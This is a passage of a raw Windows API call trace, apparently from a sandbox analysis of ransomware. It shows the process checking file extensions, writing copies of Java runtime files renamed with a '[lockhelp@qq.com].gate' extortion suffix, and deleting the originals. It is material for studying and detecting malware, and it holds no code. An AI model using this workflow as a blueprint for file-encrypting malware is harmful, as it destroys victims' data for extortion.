lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString=".dbf") returned 4 [0295.775] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString=".1cd") returned 4 [0295.775] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString=".jpg") returned 4 [0295.775] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString=".doc") returned 4 [0295.776] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".docx") returned 5 [0295.776] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.776] lstrlenW (lpString=".pdf") returned 4 [0295.776] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".xls") returned 4 [0295.776] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".xlsx") returned 5 [0295.776] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.776] lstrlenW (lpString=".ppt") returned 4 [0295.776] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString=".zip") returned 4 [0295.776] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".rar") returned 4 [0295.776] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".bz2") returned 4 [0295.776] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString=".7z") returned 3 [0295.776] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString=".dbf") returned 4 [0295.776] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString=".1cd") returned 4 [0295.776] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.776] lstrlenW (lpString=".jpg") returned 4 [0295.776] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.777] lstrcmpiW (lpString1=".jfc", lpString2=".gate") returned 1 [0295.777] lstrlenW (lpString="default.jfc") returned 11 [0295.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0295.777] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20109) returned 1 [0295.777] CloseHandle (hObject=0x4f0) returned 1 [0295.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0295.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0295.778] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.778] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0295.795] GetLastError () returned 0x0 [0295.795] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0296.178] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0296.178] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.179] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0296.179] SetEndOfFile (hFile=0x4e8) returned 1 [0296.179] CloseHandle (hObject=0x4e8) returned 1 [0296.179] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.179] SetEndOfFile (hFile=0x4f0) returned 1 [0296.181] CloseHandle (hObject=0x4f0) returned 1 [0296.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.182] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.182] lstrlenW (lpString=".doc") returned 4 [0296.182] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0296.182] lstrlenW (lpString=".docx") returned 5 [0296.182] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0296.182] lstrlenW (lpString=".pdf") returned 4 [0296.182] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0296.182] lstrlenW (lpString=".xls") returned 4 [0296.182] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0296.182] lstrlenW (lpString=".xlsx") returned 5 [0296.183] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0296.183] lstrlenW (lpString=".ppt") returned 4 [0296.183] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString=".zip") returned 4 [0296.183] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString=".rar") returned 4 [0296.183] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString=".bz2") returned 4 [0296.183] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0296.183] lstrlenW (lpString=".7z") returned 3 [0296.183] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString=".dbf") returned 4 [0296.183] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString=".1cd") returned 4 [0296.183] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString=".jpg") returned 4 [0296.183] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.183] lstrlenW (lpString=".doc") returned 4 [0296.183] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0296.183] lstrlenW (lpString=".docx") returned 5 [0296.183] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0296.183] lstrlenW (lpString=".pdf") returned 4 [0296.183] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString=".xls") returned 4 [0296.183] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0296.183] lstrlenW (lpString=".xlsx") returned 5 [0296.183] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0296.183] lstrlenW (lpString=".ppt") returned 4 [0296.184] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0296.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.184] lstrlenW (lpString=".zip") returned 4 [0296.184] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0296.184] lstrlenW (lpString=".rar") returned 4 [0296.184] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0296.184] lstrlenW (lpString=".bz2") returned 4 [0296.184] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0296.184] lstrlenW (lpString=".7z") returned 3 [0296.184] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0296.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.184] lstrlenW (lpString=".dbf") returned 4 [0296.184] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0296.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.184] lstrlenW (lpString=".1cd") returned 4 [0296.184] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0296.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0296.184] lstrlenW (lpString=".jpg") returned 4 [0296.184] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0296.184] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0296.184] lstrlenW (lpString="jfr.jar") returned 7 [0296.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0296.185] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=560581) returned 1 [0296.185] CloseHandle (hObject=0x4f0) returned 1 [0296.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0296.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.185] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0296.185] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.185] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.185] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0296.186] GetLastError () returned 0x0 [0296.186] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0296.301] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0296.312] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.312] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0296.313] SetEndOfFile (hFile=0x4e8) returned 1 [0296.313] CloseHandle (hObject=0x4e8) returned 1 [0296.313] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.313] SetEndOfFile (hFile=0x4f0) returned 1 [0296.325] CloseHandle (hObject=0x4f0) returned 1 [0296.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.326] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0296.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.572] lstrlenW (lpString=".doc") returned 4 [0296.572] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.572] lstrlenW (lpString=".docx") returned 5 [0296.572] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0296.572] lstrlenW (lpString=".pdf") returned 4 [0296.572] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.572] lstrlenW (lpString=".xls") returned 4 [0296.572] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.572] lstrlenW (lpString=".xlsx") returned 5 [0296.572] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0296.572] lstrlenW (lpString=".ppt") returned 4 [0296.572] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.572] lstrlenW (lpString=".zip") returned 4 [0296.572] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.572] lstrlenW (lpString=".rar") returned 4 [0296.572] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.572] lstrlenW (lpString=".bz2") returned 4 [0296.572] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.572] lstrlenW (lpString=".7z") returned 3 [0296.572] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.572] lstrlenW (lpString=".dbf") returned 4 [0296.572] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString=".1cd") returned 4 [0296.573] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString=".jpg") returned 4 [0296.573] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString=".doc") returned 4 [0296.573] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.573] lstrlenW (lpString=".docx") returned 5 [0296.573] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0296.573] lstrlenW (lpString=".pdf") returned 4 [0296.573] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString=".xls") returned 4 [0296.573] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString=".xlsx") returned 5 [0296.573] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0296.573] lstrlenW (lpString=".ppt") returned 4 [0296.573] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString=".zip") returned 4 [0296.573] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString=".rar") returned 4 [0296.573] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.573] lstrlenW (lpString=".bz2") returned 4 [0296.573] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.573] lstrlenW (lpString=".7z") returned 3 [0296.573] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.573] lstrlenW (lpString=".dbf") returned 4 [0296.573] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.574] lstrlenW (lpString=".1cd") returned 4 [0296.574] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0296.574] lstrlenW (lpString=".jpg") returned 4 [0296.574] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.574] lstrcmpiW (lpString1=".template", lpString2=".gate") returned 1 [0296.574] lstrlenW (lpString="jmxremote.password.template") returned 27 [0296.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0296.959] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2856) returned 1 [0296.959] CloseHandle (hObject=0x4b0) returned 1 [0296.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0296.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0296.959] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.960] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0297.038] GetLastError () returned 0x0 [0297.038] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xb28, lpOverlapped=0x0) returned 1 [0297.180] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xb30, lpOverlapped=0x0) returned 1 [0297.659] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.659] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10a, lpOverlapped=0x0) returned 1 [0297.659] SetEndOfFile (hFile=0x560) returned 1 [0297.659] CloseHandle (hObject=0x560) returned 1 [0297.659] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.659] SetEndOfFile (hFile=0x4b0) returned 1 [0298.191] CloseHandle (hObject=0x4b0) returned 1 [0298.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0298.192] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0298.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.192] lstrlenW (lpString=".doc") returned 4 [0298.193] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".docx") returned 5 [0298.193] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0298.193] lstrlenW (lpString=".pdf") returned 4 [0298.193] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".xls") returned 4 [0298.193] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".xlsx") returned 5 [0298.193] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0298.193] lstrlenW (lpString=".ppt") returned 4 [0298.193] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.193] lstrlenW (lpString=".zip") returned 4 [0298.193] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".rar") returned 4 [0298.193] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".bz2") returned 4 [0298.193] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0298.193] lstrlenW (lpString=".7z") returned 3 [0298.193] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.193] lstrlenW (lpString=".dbf") returned 4 [0298.193] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.193] lstrlenW (lpString=".1cd") returned 4 [0298.193] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.193] lstrlenW (lpString=".jpg") returned 4 [0298.193] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.194] lstrlenW (lpString=".doc") returned 4 [0298.194] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".docx") returned 5 [0298.194] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0298.194] lstrlenW (lpString=".pdf") returned 4 [0298.194] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".xls") returned 4 [0298.194] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".xlsx") returned 5 [0298.194] lstrcmpiW (lpString1=".xlsx", 